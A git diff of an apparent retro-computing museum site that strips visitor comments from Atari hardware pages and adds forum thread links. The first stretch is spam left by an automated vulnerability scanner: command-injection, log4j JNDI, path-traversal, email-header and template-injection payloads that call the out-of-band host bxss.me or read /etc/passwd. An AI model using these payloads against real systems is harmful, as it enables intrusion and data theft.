(USA) - date: Thursday 18th August 2022 - text: $(nslookup hitmwuscjgoet82ed5.bxss.me$$perl -e "gethostbyname(''hitmwuscjgoet82ed5.bxss.me'')")$ - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: c:/windows/win.ini (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: $(nslookup hitqnuqlmqshza65be.bxss.me$$perl -e "gethostbyname(''hitqnuqlmqshza65be.bxss.me'')") - - author: /etc/shells (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: http://bxss.me/t/fit.txt?.jpg (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: $(nslookup hitvjwlixnnta75efe.bxss.me$$perl -e "gethostbyname(''hitvjwlixnnta75efe.bxss.me'')")$''$"$0$(nslookup hitvjwlixnnta75efe.bxss.me$$perl -e "gethostbyname(''hitvjwlixnnta75efe.bxss.me'')")$$'' - - author: ^($$!@$$)(()))****** (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: '!(()$$!$*$*$ (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: Http://bxss.me/t/fit.txt (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: $(nslookup hitkfzvkhsgbq68c7f.bxss.me$$perl -e "gethostbyname(''hitkfzvkhsgbq68c7f.bxss.me'')") - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA$n912566$v942837) - date: Thursday 18th August 2022 - text: '555' - - author: ) (USA) - date: Thursday 18th August 2022 - text: '555' - - author: 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: (nslookup hitijbcdakgbf84824.bxss.me$$perl -e "gethostbyname(''hitijbcdakgbf84824.bxss.me'')") - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 555$n915446$v929916 - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: $echo qvmuxk$()$ itulww$nz^xyu$$a $'' $echo qvmuxk$()$ itulww$nz^xyu$$a $$" $echo qvmuxk$()$ itulww$nz^xyu$$a $ - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: $echo kqsmgj$()$ spcwzn$nz^xyu$$a $'' $echo kqsmgj$()$ spcwzn$nz^xyu$$a $$" $echo kqsmgj$()$ spcwzn$nz^xyu$$a $ - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm$n904179$v961903 (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: echo qlibzb$()$ cdywkt$nz^xyu$$a $'' $echo qlibzb$()$ cdywkt$nz^xyu$$a $$" $echo qlibzb$()$ cdywkt$nz^xyu$$a $ - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: dFIyTDBqTEU$ (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (../USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (file:///etc/passwd) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (../../../../../../../../../../../../../../windows/win.ini) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (${9999172+10000049}) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA$esi:include src$"http://bxss.me/rpb.png"/$) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ${9999091+9999500} - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (../../../../../../../../../../../../../../etc/passwd) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 555$esi:include src$"http://bxss.me/rpb.png"/$ - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ../555 - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (12345''"$''$")$$$*) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: ${10000121+9999632} (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm$esi:include src$"http://bxss.me/rpb.png"/$ (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: file:///etc/passwd - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ../../../../../../../../../../../../../../windows/win.ini - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 12345''"$''$")$$$\* - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ../../../../../../../../../../../../../../etc/passwd - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: $(nslookup hitrgfgzpckxo311ba.bxss.me$$perl -e "gethostbyname(''hitrgfgzpckxo311ba.bxss.me'')")$ (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: $(nslookup hitiibbtoiafde814e.bxss.me$$perl -e "gethostbyname(''hitiibbtoiafde814e.bxss.me'')") (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: $(nslookup hitnyahkntoca42b5d.bxss.me$$perl -e "gethostbyname(''hitnyahkntoca42b5d.bxss.me'')")$''$"$0$(nslookup hitnyahkntoca42b5d.bxss.me$$perl -e "gethostbyname(''hitnyahkntoca42b5d.bxss.me'')")$$'' (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: $(nslookup hitwrobgmctme87f46.bxss.me$$perl -e "gethostbyname(''hitwrobgmctme87f46.bxss.me'')") (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: 12345''"$''$")$$$* (USA) - date: Thursday 18th August 2022 - text: '555' - - author: ../tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: (nslookup hitmctvvslqch6f418.bxss.me$$perl -e "gethostbyname(''hitmctvvslqch6f418.bxss.me'')") (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (to@example.com$ bcc:074625.191-44461.191.5878c.19222.2@bxss.me) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: $echo eykuir$()$ scztzf$nz^xyu$$a $'' $echo eykuir$()$ scztzf$nz^xyu$$a $$" $echo eykuir$()$ scztzf$nz^xyu$$a $ (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA bcc:074625.191-44459.191.5878c.19222.2@bxss.me) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.191-44460.191.5878c${::-.}1${::-.}bxss.me}}) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: file:///etc/passwd (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: |- - to@example.com$\ - bcc:074625.191-44458.191.5878c.19222.2@bxss.me - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: $echo kqtjyb$()$ kcdrdv$nz^xyu$$a $'' $echo kqtjyb$()$ kcdrdv$nz^xyu$$a $$" $echo kqtjyb$()$ kcdrdv$nz^xyu$$a $ (USA) - date: Thursday 18th August 2022 - text: '555' - - author: ../../../../../../../../../../../../../../windows/win.ini (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ( ¿ðŸ’¡''"$$$$$${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitaahvntrpmw7ee63${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) - date: Thursday 18th August 2022 - text: '555' - - author: echo xcimib$()$ oriflf$nz^xyu$$a $'' $echo xcimib$()$ oriflf$nz^xyu$$a $$" $echo xcimib$()$ oriflf$nz^xyu$$a $ (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 555 bcc:074625.191-44457.191.5878c.19222.2@bxss.me - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (${j${::-n}di:dns${::-:}${::-/}/hitledaunolpg66e86${::-.}bxss.me}zzzz) - date: Thursday 18th August 2022 - text: '555' - - author: ../../../../../../../../../../../../../../etc/passwd (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.191-44455.191.5878c${::-.}1${::-.}bxss.me}} - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ("+response.write(9132960*9260320)+") - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: to@example.com$ bcc:074625.191-44453.191.5878c.19222.2@bxss.me (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (''+response.write(9132960*9260320)+'') - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ¿ðŸ’¡''"$$$$$${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitqqnfkdjwwm88e2d${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm bcc:074625.191-44452.191.5878c.19222.2@bxss.me (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (response.write(9132960*9260320)) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ${j${::-n}di:dns${::-:}${::-/}/hitziqwrowskk151d8${::-.}bxss.me}zzzz - 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text: '1' - - author: KGRAMR (Venezuela) - date: Saturday 2nd December 2017 - text: |- - Here''s one of the really cool groups dedicated for the system on Facebook. There''s lots of old Atari devs., programmers and even magazine reviewers from the era so, if anybody is interested in joining, here''s the link to it:\ - https://www.facebook.com/groups/jaguarsector - - author: Steve - date: Sunday 22nd January 2017 - text: No claim was ever made by Atari that the system was completely 64 bits across. This was the big contention that had people complaining about the ''bitness'' of the machine. It had the OPL((Object Processor Logic) not the POP) and the Blitter Chip, which were fully 64 bits across and used the fully 64 bit data bus of the system. The GPU core was a 32 bit RISC processor as was the DSP core, neither of which had any reason to be 64 bits wide. The idea was to use the GPU core to command the 64 bit parts. Unfortunately all too many developers used the 16 68k processor and choke the daylights out of the performance, hence the 16 bit looking games for the most part. The power was certainly there but the tools and the support were not. I believe there were at least 70 games plus not to mention numerous homebrews...which are still being made today. - - author: mrkoolnerd - date: Wednesday 18th March 2015 - text: this had a cd add on which this site does not mention at all - - author: Karyyk (SC) - date: Thursday 8th September 2011 - text: How wasn''t the Lynx a portable console? It took batteries, had its own screen (didn''t require you to connect it to a television) and was light enough for a child to carry. It might not have been pocket-sized, but portable it surely was. - - author: Mark - date: Friday 12th November 2010 - text: One title was Wolfenstine 3D!!!! - - author: Mr.64 (USA) - date: Wednesday 25th August 2010 - text: |- - @ Annonymous\ - The Atari Lynx was markeded as a portable console but it really isnt - - author: Annonymous - date: Friday 13rd August 2010 - text: Is the Atari Lynx a portable version? - - author: walmartcartpusher (Ohio, US) - date: Saturday 18th April 2009 - text: Despite the fact this console was a solid flop (not just because of poor salesmanship but sometimes the brand new units didn''t work at all), it also turns out to be a diamond in the rough. My favorite games were Ray-Man, Iron Soldier 1 and 2, and Alien Vs. Predator. - - author: bluekatt (netherlands) - date: Sunday 1st April 2007 - text: actually inforgrames changed their name to atari in 2003 but its no atari just atari in name only the atari assets are in hands of others software: - /software/alien-vs-predator - /software/alien-vs-predator-prototype-261 diff --git a/content/museum/atari-lynx-lynx-ii.md b/content/museum/atari-lynx-lynx-ii.md index c1beac1b..db25c123 100644 --- a/content/museum/atari-lynx-lynx-ii.md +++ b/content/museum/atari-lynx-lynx-ii.md @@ -12,6 +12,7 @@ params: - software - emulators - videos + forum_thread: 1208 photos: - title: ATARI LYNX & LYNX II subtitle: '' @@ -38,45 +39,6 @@ params: - title: Atari Lynx TV commercial url: https://www.youtube.com/watch?v=FB6ux--w4S4 text: 'Length: 29s' - comments: - - author: The Kobold King (United States) - date: Wednesday 25th August 2021 - text: '"How did you begin smoking?" "The Lynx."' - - author: Johnathan Malachi Rivera (United States) - date: Monday 30th July 2018 - text: Easy with the language, sailor. - - author: Joop - date: Friday 8th November 2013 - text: Fuck you John - - author: John - date: Saturday 1st October 2011 - text: I found one of these in my room while my dad and I were unpacking (Someone left it? My dad had one?) It had two cartridges, California Games and Baseball. I regret selling it at Play n'' Trade. Reading this brough back a memory of finding it. It was a LYNX 1. I love Atari, They allways know how to make history! - - author: John - date: Saturday 1st October 2011 - text: I found one of these in my room while my dad and I were unpacking (Someone left it? My dad had one?) It had two cartridges, California Games and Baseball. I regret selling it at Play n'' Trade. Reading this brough back a memory of finding it. It was a LYNX 1. I love Atari, They allways know how to make history! - - author: John - date: Saturday 1st October 2011 - text: I found one of these in my room while my dad and I were unpacking (Someone left it? My dad had one?) It had two cartridges, California Games and Baseball. I regret selling it at Play n'' Trade. Reading this brough back a memory of finding it. It was a LYNX 1. I love Atari, They allways know how to make history! - - author: John - date: Saturday 1st October 2011 - text: I found one of these in my room while my dad and I were unpacking (Someone left it? My dad had one?) It had two cartridges, California Games and Baseball. I regret selling it at Play n'' Trade. Reading this brough back a memory of finding it. It was a LYNX 1. I love Atari, They allways know how to make history! - - author: Wim (Oz) - date: Tuesday 30th August 2011 - text: |- - I had one of these and later I bought 5 Lynx2''s when they were liquidated at $10 each. I still have my original Lynx somewhere. The battery life wasn''t a big deal as I used mine mostly with an AC adapter anyway. - - An excellent hand-held with not enough market share and 3rd party developer attention, (sadly). There were a few really good titles that showed what the Lynx could do$ Lemmings, Double Dragon, Shadow of the Beast, Toki and Dracula - - The link cable could daisy chain up to 16 Lynx''s!!! ie: Todd''s Adventures in Slime World (iirc). - - author: Robert - date: Wednesday 14th May 2008 - text: this was a color handheld which these failed back then for one reason or another - - author: Thomsonicus - date: Monday 7th April 2008 - text: Man! I wish they would make this console today! Guess it would be incredibly cheap when made as "lynx-compatible" by a third party manufacturer; batteries would probably last a nice couple of DAYS considering the smaller manufacturing processes that we use today. And all those games! - - author: Brian Johnson (Earth) - date: Monday 24th September 2007 - text: I had one of these when they were out - I remember that one of the selling features was a small cable that could be used to connect 2 Lynx systems together - a few games took advantage of this to offer 2 player modes. software: - /software/alien-vs-predator-prototype - /software/apb-all-points-bulletin diff --git a/content/museum/atari-mega-st.md b/content/museum/atari-mega-st.md index 61a81b68..54f7e0db 100644 --- a/content/museum/atari-mega-st.md +++ b/content/museum/atari-mega-st.md @@ -55,6 +55,7 @@ params: - emulators - links - docs + forum_thread: 176 photos: - title: MEGA ST2 subtitle: '' @@ -253,17 +254,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Kelly Roach (Rio Rancho, NM, United States) - date: Wednesday 15th June 2011 - text: |- - So many terrific memories! - - I had a Mega 2 system while living in Fairbanks, Alaska, with a Spectre GCR. The unfortunate fact about a few of these machines (mine was one of ''em) is that they had a couple of TTL ICs on the motherboard which didn''t provide enough power for some of the memory chips with the Spectre attached. - - It crashed using the device quite often, but otherwise I have many fond memories from this particular model. My outfit had a 44 MB cartridge drive and the standard color monitor. - - I still miss my ST... related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-mega-ste.md b/content/museum/atari-mega-ste.md index aeb169f7..84105c0d 100644 --- a/content/museum/atari-mega-ste.md +++ b/content/museum/atari-mega-ste.md @@ -69,6 +69,7 @@ params: - emulators - links - docs + forum_thread: 175 photos: - title: ANOTHER PICTURE subtitle: '' @@ -263,50 +264,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Malcolm Ramage (United Kingdon) - date: Friday 22nd April 2011 - text: |- - The Mega STE was the fastest released official ST from Atari and included the VME bus from the TT030. The bottom of the range Mega STE 1MB machine had an optional SCSI drive, though all other machines in the range came with SCSI as standard (At least here in the UK). The maximum official RAM capacity was the same as the rest of the ST range at 4MB, though there were upgrades available from 3rd parties that took advantage of the 68000 address bus, allowing for up to 16MB to be added. - - AtariFreakz have a range of mega STE and TT keyboards available and have them on their eBay shop, also 16/32 systems also sometimes carry spares. - - The Mega STE makes an excellent MIDI sequencer, and the LAN port can make use of early Apple Macintosh MIDI interfaces, so long as you are using Cubase and the latest version of MROS. - - The Mega STE is also the only one of Atari''s ''Professional'' range of computers to have a TV modulator on the back, allowing it to be used if a monitor is not available. - - author: Jan Thomas - date: Saturday 6th July 2013 - text: The internal SCSI drive inside was actually connected to an ACSI$SCSI converter card, as the motherboard had only an ACSI controller. The ACSI-SCSI card only supports a maximum of 1GB hard drives, without modification. - - author: Shredder11 (United Kingdom) - date: Friday 2nd September 2011 - text: |- - My Mega STE does not have the RF port for some unknown reason$ was this later $ped from the computer by Atari? This computer was originally a 2MB RAM / 40MB SCSI machine with a French TOS and keyboard, but it was later upgraded to 4MB / 100MB+ and a 68881 FPU chip. Since I bought it, I have turned the keyboard into a UK layout and I am in the process of replacing the floppy drive and TOS chips. - - This is an excellent computer and pretty fast when optimised with the right software. It also has great looks. - - author: Malcolm Ramage (United Kingdom) - date: Saturday 21st May 2011 - text: Just noticed an error above. The Mega STE was not the only Atari machine to have the AppleTalk (Or RS432) port, the TT030 was the first machine to have it and the Falcon also has one. In fact with the LAN.DRV driver in the Cubase MROS folder, Cubase on Atari can use a number of Apple MIDI interfaces for Macs! - - author: Alex (Germany) - date: Saturday 8th March 2008 - text: My uncle still has an Atari Mega STE, it still works pretty well, he's also got a 5 1/4 floppy drive and a printer for it. - - author: Jeff Stenett (USA) - date: Thursday 3rd May 2007 - text: |- - I still have one of the first Mega STe's...still hooked up, works fine, though not in use. - - I paid between $1100-1300 for it (don't remember...long time ago!), with 4 MEG of RAM, which I immediately upgraded to 8 MEG. It did NOT come with an IDE hard drive, as your data reflects, and I don't remember any of them coming with IDE, that was the later TT....mine came with a Seagate 20gig SCSI drive, 3.5"x1" form-factor, which I still have, and which still works fine ! :). Since mine was one of the first Mega STe's, in also did not come with a 1.44 floppy, mine was only 720, so I bought an after-market 1.44 meg HD floppy for it. My primary use for it was MIDI control of synthesizers and a drum machine, and loudspeaker design using the original version of MacSpeakerz, which was sold through the Carvin guitar/amp company of California, U.S. - - author: Max (California) - date: Friday 31st October 2003 - text: I found one of these with a buncha music editing equipment! Could any of you tell me how to set it up? Oh, and there is no monitor. Can I hook it up to a TV via that one output on it? - - author: pedro (portugal) - date: Saturday 11th October 2003 - text: |- - i want to buy a atari mega ste to use as a midi sequencer.this is the best atari for that?\ - if any one have one to sell ,contact me.\ - thanks..............:) - - author: pod (australia) - date: Tuesday 14th May 2002 - text: my mega st keyboard is broken (although the mouse still works)does anyone have any suggestions/info on a suitable replacement or any technical info on the keyboard or know of a good link to help me??????? please help me!!it's driving me insane. related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-pc.md b/content/museum/atari-pc.md index e4859276..0d68e037 100644 --- a/content/museum/atari-pc.md +++ b/content/museum/atari-pc.md @@ -67,6 +67,7 @@ params: tabs: - photos - links + forum_thread: 92 photos: - title: PC1 - LARGE VIEW subtitle: '' @@ -104,92 +105,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Michael (USA) - date: Saturday 30th April 2022 - text: I had an ABC, bought in 1990 or 1991. It had a 16MHz 286, 1MB RAM, and an onboard Paradise VGA - 640x480 in 256 colours, 800x600 in 16 colours, but rather slow since it didn''t have any acceleration features. There was a 3.5" floppy drive and a 60MB ST506 harddisk. Eventually we got a 287 and it turned out the SIP sockets would accept 30pin SIMMs by just placing a SIMM socket into the SIP... - - author: The_WolfieOne (Canada ) - date: Monday 23rd August 2021 - text: Atari PC late ''87 - EGA graphics and an amber monitor 5.25" 360k floppy Gem desktop and MSDOS 3.something. yeah, my first computer. Researched the chips needed for expansion to 640 k, tracked them down through a local electronic supplier and popped the hood. Got those in and looked at the pc speaker pins an ran those to a "mic" plug and into my boom box aux. Sure, it was pc speaker sound, but it had bass, and spread. Found a dos util for RAMDisks and tweaked the performance by creating a RAMDisk, copying command.com to the RAMDisk and setting Comspec$c:$command.com That batchfile grew, assimilated improvements and cli parameters to facilitate copying from one floppy to another through creating a RAMDisk to act as a buffer between prompted, batch language scripted disc swaps. Oh, and a assembly language snippet from an early PC mag that used DOS Debug to overwrite the partition table of the primary hdd with null. Evolved into a Swiss army kind of thing. Even used it at my first - real pc job, building them for a lical whitebox manufacturer in 92, then running the service department Thanks for the memories - - author: Reden (Chile) - date: Saturday 27th January 2018 - text: |- - Fernando Bautista, su "PC" (para no confundirla con la ST) de Atari puede valer diversas cantidades dependiendo del modelo (PC1, PC2, PC3, PC4 o PC5, sumados a una laptop).\ - En Ebay encontré un modelo de "PC" vendiéndose a 999 dólares, lo cual serían 18.519,01 pesos mexicanos. El valor original de la "PC1" era de 499 dólares (9.250,23 pesos mexicanos), que ajustado para la inflación moderna serían 1048 dólares (19.427,35 pesos mexicanos) - - Otra oferta en Ebay, vendida hace ya 4 años, era de la computadora, el disco duro y el monitor, y valía 152,50 dólares (2.826,98 pesos mexicanos) - - Espero que haya podido ayudar! :D - - author: Gagarin - date: Monday 27th March 2017 - text: 'contact info: gagarinnet @ hotmail com' - - author: Gagarin (USA) - date: Monday 27th March 2017 - text: I''m looking to buy one. Please contact me if you want to sell Atari PC. - - author: Fernando Bautista (México ) - date: Friday 20th November 2015 - text: Perdón por no escribir en ingles pero yo poseo una computadora así mejor dicho solo cpu falta la pantalla, teclado y el ratón actualmente está acumulado polvo así que me interesaría venderla alguien sabe o me podría dar un precio aproximado de ¿cuanto podría valer? - - author: Fernando Bautista (México ) - date: Friday 20th November 2015 - text: Perdón por no escribir en ingles pero yo poseo una computadora así mejor dicho solo cpu falta la pantalla, teclado y el ratón actualmente está acumulado polvo así que me interesaría venderla alguien sabe o me podría dar un precio aproximado de ¿cuanto podría valer? - - author: Fernando Bautista (México ) - date: Friday 20th November 2015 - text: Perdón por no escribir en ingles pero yo poseo una computadora así mejor dicho solo cpu falta la pantalla, teclado y el ratón actualmente está acumulado 